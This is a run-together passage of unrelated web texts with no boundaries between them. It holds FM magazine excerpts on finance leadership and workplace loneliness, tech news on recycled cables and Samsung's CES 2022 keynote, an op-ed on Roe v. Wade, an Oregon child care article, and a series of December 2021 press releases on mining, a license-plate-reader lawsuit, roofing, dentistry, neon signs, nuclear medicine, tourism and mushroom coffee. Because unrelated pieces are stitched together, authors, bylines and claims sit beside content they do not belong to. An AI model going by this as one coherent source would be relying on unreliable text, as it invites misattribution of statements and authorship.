said Rohit Selvaratnam, FCMA, CGMA, the CFO of Celsus, a public-private entity that is responsible for the commercial operations of the Royal Adelaide Hospital in Australia. "This is an opportunity for accountants and CFOs to take the lead versus being led," he said. "We as accountants and finance people need to recognise that individuals are placing greater emphasis on their responsibility toward the environment and the community." He added that while there's a lot of emphasis on the environment, it's also about the social and governance aspects in the environmental, social, and governance (ESG) framework. "It is our responsibility to ensure that within our business and supply chains, we are doing the right thing, and at the board level to strive to and meet the commitments that the firm is making. It's not just the environment; our responsibilities are wider than that," he said. From "What COP26 Commitments Mean for Accounting and Finance", by Alexis See Tho, 23 November 2021 Normalise loneliness Because loneliness is such a widespread issue, Constance Hadley, lecturer in the management and organisations department at Boston University, recommends normalising it and simply assuming everyone is struggling to form deeper connections. "Let's take advantage of the fact that the pandemic has amplified understanding, awareness, and concern for it, and start trying to make the conversation about it normalised and not make loneliness a stigmatised condition," she said. Normalising loneliness can be as simple as expressing to your teams that many people are feeling this way and, if you are feeling lonely, you're not the only one. It's also important for managers and company leaders to express their own feelings of loneliness because that gives tacit permission for others across the organisation to open up about their struggles, which can help create a psychologically safe environment. From "5 Tips for Addressing Loneliness in the Workplace", by Hannah Pitstick, 5 April 2021 Listen more, talk less "Only by learning to listen very, very carefully can finance leaders begin to understand what their team members are experiencing and feeling," said Nigeria-based Japheth Jev, ACMA, CGMA, the CFO at Triumph Power and Gas Systems Ltd. "Empathy can primarily be learned and adopted through listening more than you talk to others." This may require setting up regular one-on-one meetings or check-ins with team members that can include both work and nonwork discussions. During these meetings, allow your team member to guide the conversation, and be mindful about always waiting to speak remembering that your role is simply to listen and, where appropriate, to respond with empathetic phrases that give both acknowledgement and encouragement. For example, use phrases such as "I understand what you're saying" and "Thank you for sharing this with me". Once they have gained an understanding of a team member's position or situation, Jev said that skilled leaders will then ask questions that gently prompt an employee to find a thoughtful solution that can both assuage anxieties and improve performance. "Asking the right questions can both calm the nerves and also help to point to a positive solution and in this new paradigm of empathetic leadership, one should encourage employee-led solutions that enable teams to chart their own course forward." From "Empathy as an Antidote to Uncertainty", by Jessica Hubbard, 1 June 2021 Nurture talent to effectively lead through uncertainty By installing the right people in the right jobs, high-calibre leaders with a solid focus on their company's underlying strengths can drive their businesses through any crisis to ultimately reach their full potential, said Jim Collins, author of the best-selling management book Good to Great, at the Road Map to Greatness virtual event hosted by The Growth Faculty. "There will be no new normal, in my view. There will only be a continuous series of the not-normal episodes, big surprises that rock our world yet again," Collins said. "Your ultimate hedge against uncertainty is to have the right people who can, as a group, adapt to whatever surprises come down the road." From "Best Hedge Against Uncertainty Is People, Management Guru Says", by Sophie Hares, 1 March 2021 Hannah Pitstick is a freelance writer based in the US. To comment on this article or to suggest an idea for another article, contact Drew Adamek, FM magazine's lead publisher, at Andrew.Adamek@aicpa-cima.com. Stuffcool, popular for its accessories, has launched Ecolo cables, which the company says is Indias first ever sustainable cables made from 96% recycled, repurposed plastic and 4% polyester. The Ecolo cables are available as a 5A Type C to Type A Cable and PD65W compatible Type C to C Cable. These are GRS (Global Recycled Standard) certified, a voluntary product standard for tracking and verifying the content of recycled materials in a final product. The standard applies to the full supply chain and addresses traceability, environmental principles, social requirements, chemical content and labelling. The packaging of the Ecolo cables will also be 100% plastic free, said the company. The Ecolo cables, made from recycled plastic, has no compromise on performance or durability, says the company. It adds that both of the cables are braided and have an additional strain relief design for increased durability. The Ecolo 5A Type C cable can be used for OnePlus, OPPO, vivo devices that require high-powered type C cables, while the Type C-to-C cable can be used for flagship Samsung phones, Google Pixel phones and even charging the latest iPad Pro and MacBook Pro M1, supporting up to PD65W of power transmission. Both cables have sync capability and can transfer data at speeds of 480 Mbps. The Ecolo Made From Recycled Plastic Type C to C PD65W and Type C to A 5A cables are priced at Rs. 649 and 699, respectively, and are available from Stuffcool.com. Last week, Samsung confirmed that its CES 2022 event on January 4th, and said that it give its keynote address under the theme of the Together for Tomorrow, within which the idea that technology should exist for humanity and the Earth is paramount. Now it has announced that the pre-show keynote will showcase ways that we can help build a more sustainable planet, and demonstrate customized and connected experiences that can enrich peoples lives. The company will also be introducing its latest innovative technologies to help users enjoy even more enriched lifestyles based on optimized, customized service for each and every person, along with enhanced experiences of being connected to one another. Based on earlier rumours, we can expect the Galaxy S21 FE at the event. Marketing material revealed the complete specifications of the phone. We can also expect new Galaxy tablets, and a new range of Bespoke home appliances. Samsung is also expected to introduce new QLED, Mini-LED, Micro-LED, and QD-OLED TVs. However, we will have to wait till February for the Galaxy S22 series. Samsungs keynote address for at CES 2022 will happend at the Venetians Palazzo Ballroom in Las Vegas, will be delivered by Jong-Hee (JH) Han, Vice Chairman, CEO and Head of Samsung Electronics DX (Device eXperience) Division. It will begin at 6:30 P.M. PST on January 4th (8:00 AM IST on January 5th). Source Listening carefully to the legal arguments about overturning Roe v. Wade, I came away that our six member Dred Scott Court arranged by Sen. McConnell, Trump and the federalist advisors may have reached the pinnacle of bait and switch! The underlying aim is not the viability of the fetus issue; it is the last stand in the fight for the Equal Rights Amendment to ensure that women remain obeying their husbands out of duty and love, and bearing children. As the lead organizer of opposing the ERA in 1972, Phyllis Schlafly said, A woman should have the right to be in the home as a wife and mother; of course she didnt say that right always existed. Schlafly, a lawyer and Catholic, mustered white Republican women in the South to get the evangelicals and others convinced that passing the ERA would lead to abortion on demand, same-sex marriage and women drafted into the military. The ERA failed to meet the 38-state ratification deadline, with 35. To date, three states recently passed the amendment, but too late, leaving 12 nos, almost all from the South. Of 31 nations dealing with abortion, only two deal with the science of fetus viability at 26 weeks: England and the Netherlands. The U.S. is at 23 weeks (Supreme Court Judge Blackmuns 7-2 vote addition to Roe in 1973). However, states can still have laws that make getting an abortion much more difficult. Mississippi is challenging the Supreme Court to overthrow Roe or accept their 15-week limit to abort. They know that sticking with the original statute throws out all the other recent states abortion laws as unlawful, and would submit to a long-designed list of challenges that will either deny or tie up the court docket for years. Its a clever way of ensuring the ERA and abortion are dead as long as they are in power to keep their base. A second, more sinister solution, similar to SCOTUS gutting the voting rights bill, is Roberts proposal to altogether gut the viability issue, but leave Roe in place. Women could have abortions but each state could pick the viability time it wants which gives the nation a more sure way to divide an already polarized and dangerous citizenry. The issue of fetus viability seems to have a consensus among scientists agreeing that the brain does not reach a stage of operational coordination or is a conscious being until between the 24th and 26th weeks. So Roe was close to right on this issue. But the real issue is whether a woman has the right to say, Im not ready to have or cant support a child right now, and he wasnt careful either! In my 20 years in the state legislature I never saw a bill saying the male partner had to pay for half of the abortion and complications if not married, and if a child is born, he had to share in the cost of shelter, food, clothing and education, just as a divorced father would. Women always seem to be the ones in jeopardy. This is not a states rights issue; it is and always should be a womans rights issue that equally affects the entire nation! If these six justices ever reach the gates to their religious heaven, I hope the first entrance question will be What did you do for the poor people of this country? Tony Van Vliet was an Oregon State Representative in the Oregon House from 1975 to 1995. He is a former Republican of 57 years, professor emeritus in wood science and engineering in the College of Forestry at Oregon State University, and a member and former board chair of Oregon Public Broadcasting. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 It's no secret that Oregon is in desperate need of bolstered child care. Every single county in the Beaver State was deemed a child care desert for infants and toddlers in a 2012 Oregon State University report, long before COVID-19 put the issue on the forefront. Child care providers and advocates say the problem has only worsened in recent years. U.S. Rep. Suzanne Bonamici reiterated this point during her quarterly Oregon Child Care Advisory Board meeting on Monday. "I want to say that it's finally getting the attention it needs and deserves: the issue of affordable accessible child care," she said. "And we know it was a challenge even before the pandemic, and the pandemic exacerbated it. "I've been working to deliver this sort of long overdue investment in both providers and in affordable access." The Build Back Better Act is designed to improve the nation's "care economy," as proponents put it. President Joe Biden's signature legislation includes a historic investment of nearly $400 billion, which is intended to both lower the cost of child care and secure universal pre-kindergarten for 3- and 4-year-olds in the United States. Quality journalism doesn't happen without your help Support local news coverage and the people who report it by subscribing to the Albany Democrat-Herald. Today, only about 23% of Oregon children in that age range have access to publicly funded preschool, according to the bill's fact sheet. Families that don't have access to a publicly funded program are forced to shell out about $8,600 per year for private preschool, according to whitehouse.gov. The bill, while quite large, has been whittled down from what was initially proposed, with possibly more changes ahead in the Senate. Senators in Capitol Hill have two weeks left to pass the bill and meet their self-imposed Christmas deadline. It's unclear whether they will, or whether Democrats will have the votes. Moderates like Sen. Joe Manchin III of West Virginia and Sen. Kyrsten Sinema of Arizona have stopped short of saying they'll vote for it, with Manchin expressing concerns about adding to the national debt. Republicans point to a Congressional Budget Office report they requested, which said that the bill would add $3 trillion to the deficit. Democrats say that score is inaccurate and isn't based on the current version of the bill. "Once (Build Back Better) is fully implemented, and of course it still needs to pass the Senate, it will make sure that more than 13 million young children are eligible for the (child care) assistance," said Bonamici. "The intent is to make sure that it's not only affordable and accessible, but also high-quality." Higher wages for child care workers is a priority as well, Bonamici said. "Under Build Back Better, workers in child care and universal pre-K will be paid commensurate to elementary school educators with similar qualifications," she said. But some child care and labor advocates say that the bill falls short for family, friend and neighbor care providers, who made up at least 30% of child care providers long before the pandemic, according to an Oregon State University Support. Family, friend and neighbor care typically refers to home-based care that is not regulated. "There's a real continued ambivalence about the role for friend/family/neighbor providers in this larger system," said Andrea Paluso, executive director of advocacy group Family Forward Oregon. This "ambivalence," shows up in multiple ways. An unregulated workforce, for example, is not going to reap the same benefits in better wages the same way the rest of the child care workforce will benefit. This also appears in Build Back Better, which has a requirement that childcare providers be licensed. "I'm really worried about this new requirement that all providers be licensed, and the barriers that that's going to create for FFN providers to participate in the system," Paluso said, "particularly for the families that are already using FFN providers that are already struggling the most to participate in this system, who operate in languages other than English or have technology challenges and gaps." Bonamici noted that Build Back Better does include "technical assistance" for licensing processes, but she also agreed that when implementing standards in Oregon, it will be prudent to ensure good providers aren't lost due to new licensing requirements. "Of course, we all want children to be safe and facilities to be safe, but we have to really keep an eye on that," she said. As the Senate fast approaches its Christmas deadline, Bonamici encourages citizens to communicate with their members of Congress to push for the passage of the bill. "It's really helpful to let our senators know, but also, if you are networked with people in other states, just emphasizing the importance of these investments," she said. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Welcome to my genealogy blog. Genea-Musings features genealogy research tips and techniques, genealogy news items and commentary, genealogy humor, San Diego genealogy society news, family history research and some family history stories from the keyboard of Randy Seaver (of Chula Vista CA), who thinks that Genealogy Research Is really FUN! Copyright (c) Randall J. Seaver, 2006-2021. TORONTO, Dec. 14, 2021 (GLOBE NEWSWIRE) -- Pasinex Resources Limited (CSE: PSE) (FSE: PNX) (The Company or Pasinex) announces that they have reached an agreement with Cypress Development Corp. (Cypress) and Caliber Minerals Inc. to change the terms relating to the earn-in option agreement on the Gunman (formally Spur) zinc exploration property in Nevada, USA. The agreement extends the deadline to complete the minimum of US $200,000.00 of qualified exploration expenditures to on or before June 30, 2022. For further clarification on the original deal, refer to the news release dated December 7, 2017. About Pasinex Pasinex Resources Limited is a Toronto-based mining company that owns 50% of Horzum Maden Arama ve Isletme Anonim Sirketi (Horzum AS or Joint Venture), through its 100% owned subsidiary Pasinex Arama ve Madencilik Anonim Sirketi (Pasinex Arama). Horzum AS holds 100% of the producing Pinargozu high-grade zinc mine. Horzum AS sells directly to zinc smelters and or refiners through commodity brokers from its mine site in Turkey. The Company also holds an option to acquire 80% of the Gunman high-grade zinc exploration project in Nevada. Pasinex has a strong technical management team with many years of mineral exploration and mining project development experience. The mission of Pasinex is to build a mid-tier zinc company based on its mining and exploration projects in Turkey and Nevada. Visit our website at www.pasinex.com. On Behalf of the Board of Directors PASINEX RESOURCES LIMITED Andrew Gottwald Andrew Gottwald Evan White Chief Financial Officer Manager of Corporate Communications Phone: +1 416.861.9659 Phone: +1 416.906.3498 Email: info@pasinex.com Email: evan.white@pasinex.com The CSE does not accept responsibility for the adequacy or accuracy of this news release. This news release includes forward-looking statements that are subject to risks and uncertainties. Forward-looking statements involve known and unknown risks, uncertainties, and other factors that could cause the actual results of the Company to be materially different from the historical results or any future results expressed or implied by such forward-looking statements. All statements within, other than statements of historical fact, are to be considered forward-looking. Although Pasinex believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not a guarantee of future performance, and actual results or developments may differ materially from those in forward-looking statements. Factors that could cause actual results to differ materially from those in forward-looking statements include market prices, continued availability of capital and financing, exploration results, and general economic, market or business conditions. There can be no assurances that such statements will prove accurate and, therefore, readers are advised to rely on their own evaluation of such uncertainties. We do not assume any obligation to update any forward-looking statements. Washington, D.C., Dec. 14, 2021 (GLOBE NEWSWIRE) -- The City of Coral Gables, Florida, uses Automatic License Plate Readers (ALPRs) to collect and store geographic location data of drivers navigating the City, aggregates that information, and stores it in a database accessible to law enforcement for three years. This warrantless surveillance infringes the privacy rights of residents like Raul Mas Canosa, who is suing over the use of ALPRs. The New Civil Liberties Alliance, a nonpartisan, nonprofit civil rights group, filed an opening brief Monday in Floridas Third District Court of Appeal, arguing that the Citys adoption of the ALPR program, based on statewide guidelines issued by the Florida Department of Law Enforcement (FDLE), violates the Fourth Amendment to the U.S. Constitution and Article I, Section 23 of the Florida Constitution. Mr. Mas argues that the trial court erred in ruling that there is no constitutional right to privacy in ones movement over time if the government stops short of monitoring and cataloging the individuals every single public movement. He also challenges the trial courts ruling that FDLEs guidelines, which interpret Florida law and implement a mandatory, uniform statewide policy, are not a rule that would require notice-and-comment rulemaking. In 2015, Coral Gables authorized the use of 17 ALPRs to form a geofence perimeter around the City to provide maximum surveillance potential 24 hours a day. By 2019, the ALPR program had collected over 106 million images, 101 million of which it retained for three years pursuant to the Citys data retention plan. Additionally, Coral Gables elected to share the ALPR data with 68 other jurisdictions, including federal law enforcement. Discovery in the case revealed that, as of January 2019, the City had catalogued 393 photographs of Mr. Mas throughout Coral Gables. Each photograph includes the precise date, time, latitude and longitude of his vehicle, and an estimate of the nearest address and intersection. Remarkably, even though Mr. Mas has alleged a constitutional injury based on the governments collection, retention, and aggregation of his location information, the trial court held that he failed to establish an actionable injury because the government has never utilized that data against him. NCLA has warned the Court of Appeal that the trial courts standing ruling would prevent law-abiding citizens from protecting their constitutional rights. NCLA released the following statements: The City of Coral Gables is using ALPRs to systematically infringe the constitutional rights of everyone who drives on its roads. The trial courts decision to allow this warrantless surveillance erodes the right to privacy by failing to recognize how technological advances allow the government to monitor our whereabouts in ways not previously possible. Jared McClain, Litigation Counsel, NCLA If Ive done nothing wrong, I have no criminal record, why is my city monitoring me? Were going to wake up one day and find that we have no more rights left; that theyre all in the hands of government; that bureaucrats can surveil us whenever and wherever they want. Im not ready to sort of, roll over and just say, OK fine, go ahead and do it, track me 24 hours a day. I dont think thats right. Raul Mas Canosa, Plaintiff, Raul Mas Canosa v. City of Coral Gables, Florida, et al. For more information visit the case page here or watch the case video here. ABOUT NCLA NCLA is a nonpartisan, nonprofit civil rights group founded by prominent legal scholar Philip Hamburger to protect constitutional freedoms from violations by the Administrative State. NCLAs public-interest litigation and other pro bono advocacy strive to tame the unlawful power of state and federal agencies and to foster a new civil liberties movement that will help restore Americans fundamental rights. ### Austin, Dec. 14, 2021 (GLOBE NEWSWIRE) -- TX based Cool Roofs Inc. is pleased to announce the launch of their new Austin, Texas location. This expansion is spearheaded by Colt Moncla, CEO of Cool Roofs Inc, and managing partner Hudson Whitten. From now on, Whitten will be directly overseeing the companys operations in the area, and he brings over a decade of commercial and residential roofing experience. Since the idea for a new office first took root, the Cool Roofs Austin TX location was intended to provide the same high standard of service that the companys customers had come to expect in other areas. Cool Roofs built this reputation by utilizing both the best materials in the industry as well the experience of roofing professionals who have each executed innumerable roofing projects for their community. The fact that much of the companys business comes in the form of returning customers and referrals is a testament to how well their services are received. As such, Austin residents and businesses may look forward to working with a roofing contractor that always prioritizes their needs and delivers excellent results at competitive rates. One of the major advantages of approaching Cool Roofs for help is that they are a full-service roofing contractor. No matter what issue a customers roof may have, the company will be able to swiftly identify and correct it once they are on the task. Since they provide repairs, maintenance and replacements for virtually every type of roof, there is no job they cannot handle. The company also takes a great deal of pride in their work, and this is part of the reason they are confident enough to guarantee quality on every job. With Cool Roofs in Austin TX, local residents and businesses will be able to consider their roof as both a practical and personal investment. The company strongly believes that people should be able to express themselves through the structure of the buildings on their property, and this is no different for a roof. However, they are also adamant that personalization and expression should not come at the compromise of quality, durable construction. Fortunately, as their existing customers are aware, the company is quite capable of delivering on both fronts. Despite the companys recent arrival, their team has already been hard at work proving themselves to their community. This is evident in the positive reviews that have been shared by satisfied customers. For instance, Connor F. says in their top-rated Google review, Hands down the best experience Ive had with any type of construction company they finished ahead of schedule, were overly responsive and highly efficient. Would highly recommend them to anyone, whether it be residential or commercial. Certain reviews also comment on the value of Hudson Whittens personal involvement. As Heather K. explains, Worked with Hudson on a roof inspection and installation and couldnt be more pleased. He was extremely responsive and his professionalism [meant that the sky was] the limit. We absolutely love our new roof and wouldnt use anyone else in the area! Austin Roofing - Cool Roofs Inc. is committed to ensuring everyone in their community always has a stable and functional roof over their heads. Since the company is well aware of the fact that many homeowners and businesses have faced financial difficulties in recent times, they invite everyone to contact their office today to request a free estimate for any job. The company also offers free repairs for all their work, giving property owners a high degree of flexibility in the event their roof suffers unexpected damage. Similarly, the company is ready and willing to answer any and all questions a customer may have regarding their roof. Their experts will be pleased to provide a detailed plan with their recommendations and explain what each stage of a repair, replacement and so on would involve. https://www.youtube.com/watch?v=RfDFRH0vE-Y Austin Roofing - Cool Roofs Inc. is standing by to engage with new customers who wish to work with a reliable, experienced roofing contractor. Those interested are welcome to contact Hudson Whitten of Austin Roofing - Cool Roofs Inc. to follow up on any further inquiries. Additional information regarding their services, materials and more can be found on their website. ### For more information about Austin Roofing - Cool Roofs Inc., contact the company here: Austin Roofing - Cool Roofs Inc. Hudson Whitten (512) 517-9633 hudson@coolroofs.co 2506 S Lamar Blvd, Suite B, Austin, TX 78704 Drury, New Zealand , Dec. 14, 2021 (GLOBE NEWSWIRE) -- Auckland Family Dental Drury Pukekohe a dentist located in Auckland, NZ have expanded their professional same-day dental crown and root canal services. The practice is conveniently located at 217 Great South Road, Drury 2113. Click here for directions from Pukekohe, Papakura and Karaka https://www.aucklandfamilydental.co.nz/crowns The announcement coincides with the latest news from the Ministry of Healths annual survey of New Zealands Health, that more than half of all Kiwis dont visit the dentist enough. This delay means that smaller problems often exacerbate to the point of needing significant professional intervention. As such, to meet the needs of these patients who are experiencing profound damage or infection, Auckland Family Dental Drury Pukekohe is now specializing in dental crowns which can be provided on a same-day basis. Dental crowns are widely considered to be one of the most versatile and useful dental interventions in the case of extreme damage or infection as they can both help to restore teeth to their original strength and aesthetically improve the appearance of aged, discolored, chipped, damaged and misshapen teeth. Moreover, dental crowns can be utilized to replace a single tooth with a dental implant or can support a dental bridge in the case of a more comprehensive dental rejuvenation project. Auckland Family Dental Drury Pukekohe is now providing dental crowns to clients who are experiencing a range of profound dental issues, as is detailed at the following link https://finance.yahoo.com/news/same-day-dental-crowns-newmarket-030900619.html Particularly, they are assisting patients with significantly broken teeth, whether the tooth is broken in half, broken off at or below the gum line, or broken off at the root. Regardless of the age of the break, including at the point where the gum may be healing over the broken tooth. For those clients who are experiencing smaller horizontal or vertical hairline cracks, or fractured teeth, Auckland Family Dental Drury Pukekohe can also assist with their root canal and dental crown services. Dr Kavendra Naidoo said that their patients can expect to receive beautiful and natural appearing dental crowns that help enhance your smile. Interested parties can find more by visiting the above-mentioned website. For patients looking for Invisalign, ClearCorrect, Smilezy clear braces, more details of this expanded service can be found here https://nz.news.yahoo.com/newmarket-parnell-orthodontics-dentist-updates-033700256.html Website: https://www.aucklandfamilydental.co.nz Dallas, Texas, USA, Dec. 14, 2021 (GLOBE NEWSWIRE) -- Sculpt Neon Signs has announced a 30% reduction in prices for the holidays starting right away. Sculpt Neon Signs has been selling top-quality neon lights and custom neon signs for home and business owners for a very long time. The company operates internationally, shipping its products to several countries. However, as it turns out, the company also sells some of the most affordable neon signs available in America. Whether it is a business logo, name of a person, or song lyrics, Sculp Neon Signs can design and manufacture a neon sign at a comparatively lower price without compromising the quality of its products. When compared across close to a dozen competitors, the company's prices were on average 8% to 10% lower. Neon signs arent new, but LED neon signs haven't been around for long. However, many business owners find that flexible, modern neon products can be used for more than just the "Open" sign. Today, neon signs are used just about everywhere, from hipster co-workspaces to restaurants, coffee bars, and diners. Modern LED neon signs appear in barbershops, beauty salons, yoga studios, and nightclubs, amongst other places. According to industry experts, the demand for custom neon signs is only growing with 2022 poised to be the biggest year for the industry. Readers can find out more about Sculpt Neon Signs and check out the companys latest signs at https://sculptneonsigns.com/ Our neon signs arent only the best in the business, but now they are also the most affordable. Weve slashed our prices by 30% for a limited time only. If you are thinking about buying custom neon signs for an upcoming Christmas party, or for your business, now would be an excellent time to do it and save lots of money in the process. Said an executive for Sculp Neon Signs. She added, All you need to do is to order your neon signs before the 30th of December to save money. The discount applies to neon signs of all types and sizes. About Sculpt Neon Signs Sculpt Neon Signs is one of the leading suppliers of LED neon signs in America. However, the company also operates in the UK and Australia. The company makes it immensely easy for anyone to design their custom neon sign and then order that sign for a highly competitive price. In addition, the company also sells a large selection of pre-made signs for special occasions and businesses. Website: https://sculptneonsigns.com/ London and Paris, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Curium welcomes Sakir Mutevelic MD, MSc. As Chief Medical Officer, Sakir leads Curiums global medical strategy and clinical development for diagnostic and therapeutic radiopharmaceuticals. In this role, he develops and leads Curium`s product pipeline growth initiatives, to drive product evolution and portfolio expansion across radiopharmaceutical diagnostics, companion diagnostics and therapeutics -- ensuring the Curium Group fulfils its Life Forward mission to transform and improve disease management and patient lives. This includes managing and coordinating strategic partnerships, clinical development planning and operational execution, managing the clinical aspects of regulatory strategies and interactions with health authorities, and supporting Curium`s strategic initiatives from medical and clinical development perspective. Sakir is a member of Curiums Global Leadership Team. Sakir holds a medical doctor degree and masters degree in pharmacology and has more than 25 years of professional experience in the pharmaceutical industry, with profound clinical experience and successful clinical development of both new chemical and biological entities in oncology and hematology, from early to late-stage clinical development as well as global regulatory submissions and approvals. Prior to his time at Curium, he served in different strategic and operational functions, with increasing responsibility at country, regional and global levels at Boehringer Ingelheim, Baxter, Baxalta, Shire, Servier and AAA/Novartis. About Curium Curium is the worlds largest nuclear medicine company. We develop, manufacture and distribute world-class radiopharmaceutical products to help patients around the globe. Our proven heritage combined with a pioneering approach are the hallmarks to deliver innovation, excellence and unparalleled service. With manufacturing facilities across Europe and the United States, Curium delivers SPECT, PET and therapeutic radiopharmaceutical solutions for life-threatening diseases to over 14 million patients annually. The name Curium honors the legacy of pioneering radioactive materials researchers Marie and Pierre Curie, after whom the radioactive element curium was named and emphasizes our focus on nuclear medicine. To learn more, visit curiumpharma.com. For more information about this press release, please contact Sandy Borgschulte at sandy.borgschulte@curiumpharma.com or 314.954.6637 Attachment English Lithuanian In November, Novaturas group operated flights from the Baltic markets to Egypt, Tenerife, Madeira, Cuba, Mauritius, Mexico, and Seychelles. During November, the company served 11.6 thousand customers. Group revenue in November amounted to EUR 7.7 million. In total, during January - November, the company served 162.5 thousand customers - 240% more than in the same period last year and 42% less than the corresponding time in 2019. Cumulative January - November turnover reached EUR 102.2 million and was 215% more and 40% lower than the corresponding time last year and in 2019. "November traditionally marks the line when the tourism sector enters a less active period. This year is no exception. In terms of number of travelers served November 2021 differs only by 1% if compared with the corresponding month in 2019 and the difference in generated revenues during the same period is 14%. In November, the usual winter holiday destinations Egypt and Tenerife was complemented by exotic destinations. We organize long haul trips with regular airline flights. This is a long-established operation model that helps us manage potential risks and be flexible. These flights are covered by guarantees of various risks, which is especially important for the travelers nowadays, says Audrone Keinyte, head of Novaturas group. With the market gradually returning to the normal holiday planning, on the 16th of November the company has introduced 2022 summer holiday season in all the markets. During the early bookings the travelers have the possibility to choose from 20 different holiday destinations available. "In November, we have conducted a survey in all our markets to find out more about people's holiday habits. The survey revealed that 84% of Lithuanians choose to plan their holidays during the summer season, a similar situation is also in other Baltic countries. So, the demand to plan summer holidays in advance is really relevant. And there is more to it - the pandemic for most of the people was not a peaceful period in terms of higher workloads and increased emotional stress. 38% of Lithuanians during the 2020 2021 vacationed less than usual, 27% of respondents waved traveling abroad and 8% of respondents did not have vacations at all. So, its highly likely that in the coming year people will tend to compensate the unused opportunities to go on holidays abroad and it will highlight the tendency of early bookings even more, says A. Keinyte. In November the company have redeemed the remaining part of issued convertible bonds worth EUR 2.5 million. The group has redeemed the entire EUR 5 million worth emission of convertible bonds before the terms agreed without any additional restrictions. About Novaturas group AB Novaturas Group is the largest tour operator in the Baltic States, offering summer and winter package holidays in more than 30 destinations worldwide and more than 100 sightseeing routes. In 2019, the group served more than 293 thousand customers. Head of Finance Giedrius Ribakovas giedrius.ribakovas@novaturas.lt, +370 616 79601 VANCOUVER, British Columbia, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Billy Goat Brands Ltd. (GOAT or the Company) (CSE: GOAT) (FRA: 26B), a venture capital platform focused on identifying, sponsoring and incubating environmental, social and governance (ESG) focused companies in the ocean economy, is pleased to announce that its portfolio company FunGuys Beverages (FunGuys or Portfolio Company) has announced key operational updates that will further accelerate bringing its KOLD line of cold-brewed coffee beverages to market. FunGuys is headquartered in British Columbia and is working to become a leading producer and distributor of organic chaga and lions mane mushroom-infused products as an alternative sustainable coffee ritual for todays health-conscious consumer. Manufacturing and Production Update As previously announced, FunGuys has secured a manufacturing and distribution agreement in the Dallas-Fort Worth area of Texas for its KOLD line of functional beverages. Recently, FunGuys placed a large order for its first production run, which is expected to be executed in the near future. The Texas facility will enable GOATs Portfolio Company to achieve scale and supply its North American distribution channels. FunGuys is also expected to enter the first phase of its bottle testing program by the end of 2021. Pending the completion of bottle testing, the bottles will then be sent to LOOP for the second phase of testing before entering the North American market and being launched as part of the TerraCycle LOOP platform (LOOP). LOOP Update FunGuys strategic partnership with LOOP will enable it to leverage the platforms reusable packaging distribution channel for its KOLD line of beverages. LOOP is focused on making eco-friendly packaging solutions a regular part of the circular economy, by encouraging manufacturers to own and take responsibility for their packaging waste. By becoming part of LOOP, FunGuys expects to benefit from its integrated network of retail partners in order to expand KOLDs presence amongst major grocery companies, restaurants and other consumer-centric food and beverage players that promote sustainable packaging solutions and eco-friendly experiences. Marketing FunGuys is on track to enter the North American market through the finalization of its e-commerce store, including fulfilment by third-party logistics providers. The Portfolio Companys development of its e-commerce website is complete and it is ready to be part of the value chain that also involves various other stakeholders. FunGuys has advanced its go-to-market strategy and expects to have the final designs for its KOLD-branded bottles by the end of 2021. GOAT owns 100% of FunGuys and is committed to providing ESG-focused growth opportunities for its investors. The cold-brew coffee market is projected to grow by $1.37billion during 2021-2025, which is an implied CAGR of 26.44%.1 This presents a significant growth opportunity for the KOLD line of mushroom infused cold brew coffee to enter the North American market in early 2022. Management Commentary "We are thrilled to see the progress that has been made with the manufacturing and launch of FunGuys KOLD line of products. The growth of the FunGuys business also represents the next phase in the evolution of GOAT. Our investees embody the visions of their innovative thought leaders and FunGuys is no exception in the rapidly growing functional mushroom space, said Tony Harris, Chairman and Chief Executive Officer of GOAT. GOAT is committed to supporting FunGuys vision of becoming a disrupter in the sustainable alternative beverage market. As GOAT works to foster the ocean economy and curb the effects of climate change through its investments, our team is committed to supporting GOATs investees to help them make a difference by bringing sustainable yet profitable products and services to market, for a healthier future for all, said Mr. Harris. ABOUT BILLY GOAT BRANDS Billy Goat Brands is a venture capital platform focused on investing in high-potential companies operating in the blue economy. It intends to accomplish these goals through the identification of and investment in the securities of private businesses that are involved in the food and beverage industry, with a focus on: (i) plant-based protein, (ii) functional foods, (iii) food technology, and (iv) fermented foods. The Company plans to generate returns on its investments through various outcomes, including but not limited to go-public transactions, mergers or acquisitions, and the other liquidity events of its investee companies or projects. The paramount goal of Billy Goat Brands will be to generate maximum returns from its investments in a manner consistent with its environmental, social and governance values. For more information about the Company, please visit https://billygoatbrands.com/. Its final prospectus, financial statements and management's discussion and analysis, among other documents, are all available on the Companys profile page on SEDAR at www.sedar.com. The CSE has neither approved nor disapproved the contents of this news release. Neither the CSE nor its Market Regulator (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this release. On behalf of: Billy Goat Brands Ltd. "Tony Harris" Tony Harris, CEO & Chairman Tel: (778) 222-8221 For further information, please contact: Investor Relations Email: info@billygoatbrands.com Tel: 1-833-4-GOAT-IR (1-833-446-2847) CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION This news release contains certain forward-looking statements within the meaning of such statements under applicable securities law. Forward-looking statements are frequently characterized by words such as "anticipates", "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed", "positioned" and other similar words, or statements that certain events or conditions "may" or "will" occur. The Company has provided the forward-looking statements in reliance on assumptions that it believes are reasonable at this time. All such forward-looking statements involve substantial known and unknown risks and uncertainties (including those risk factors identified in the Companys prospectus dated September 8, 2021), certain of which are beyond the Companys control. Such risks and uncertainties include, without limitation, delays resulting from or inability to obtain required regulatory approval. The reader is cautioned that the assumptions used in the preparation of the forward-looking statements may prove to be incorrect and the actual results, performance or achievements could differ materially from those expressed in, or implied by, these forward-looking statements. Accordingly, no assurances can be given that any of the events anticipated by the forward-looking statements will transpire or occur, or if any of them do, what benefits, including the amount of proceeds, the Company will derive therefrom. Readers are cautioned that the foregoing list of factors is not exhaustive. The Company is under no obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable law. Endnotes: ResearchAndMarkets.com. (2021, November 11). Global Cold Brew Coffee Market Report 2021-2025 - Increasing Product Launches and the Proliferation of Organized Retailing Outlets - ResearchAndMarkets.com [Press Release]. https://www.businesswire.com/news/home/20211111005693/en/Global-Cold-Brew-Coffee-Market-Report-2021-2025---Increasing-Product-Launches-and-the-Proliferation-of-Organized-Retailing-Outlets---ResearchAndMarkets.com SOURCE: Billy Goat Brands Ltd. VANCOUVER. British 